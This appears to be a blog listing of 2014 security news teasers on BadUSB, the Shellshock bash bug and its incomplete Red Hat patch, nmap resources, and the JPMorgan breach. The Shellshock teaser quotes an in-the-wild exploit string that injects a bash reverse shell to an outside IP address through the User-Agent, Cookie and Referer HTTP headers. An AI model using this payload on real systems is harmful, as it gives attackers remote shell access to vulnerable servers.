What is this BadUSB? Extremetech.com has a story and the Youtube video from BlackHat 2014(not Derbycon as in article) The controller can be hacked and code inserted inside the USB chips themselves. So we have to create good security policies and reduce the chance of plugging in USB devices that we do not know about. … Read more
Google Web Cache of the exploit char *request = “GET %s HTTP/1.0\r\nUser-Agent: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nCookie: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nHost: %s\r\nReferer: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\n\r\n”; which as it is explained in the link (by the hacker) is to run a … Read more
RedHat customer portal Red Hat has become aware that the patch for CVE-2014-6271 is incomplete. An attacker can provide specially-crafted environment variables containing arbitrary commands that will be executed on vulnerable systems under certain conditions. The new issue has been assigned CVE-2014-7169. This issue (CVE 2014-6271) has not been resolved on RedHat Operating systems (i.e. no … Read more
nmap.org has some info, but we also review sites with insight into scanning. Nmap is short for Network Mapper. Ethical hacking – Penetration Testing By Bhargav Tandel Nix Craft also a good site about nmap insights NixCraft is an online community of new and seasoned Linux / Unix sysadmins who want to make the … Read more
Wall street Journal has the story behind their paywall. In mid-June hackers attacked and gained access to servers and data. 2 months go by and JPMorgan defense does not know anything, the hackers steal 76 million accounts and use JP Morgan servers. In mid August is when the cybersecurity teams actually find the problems and … Read more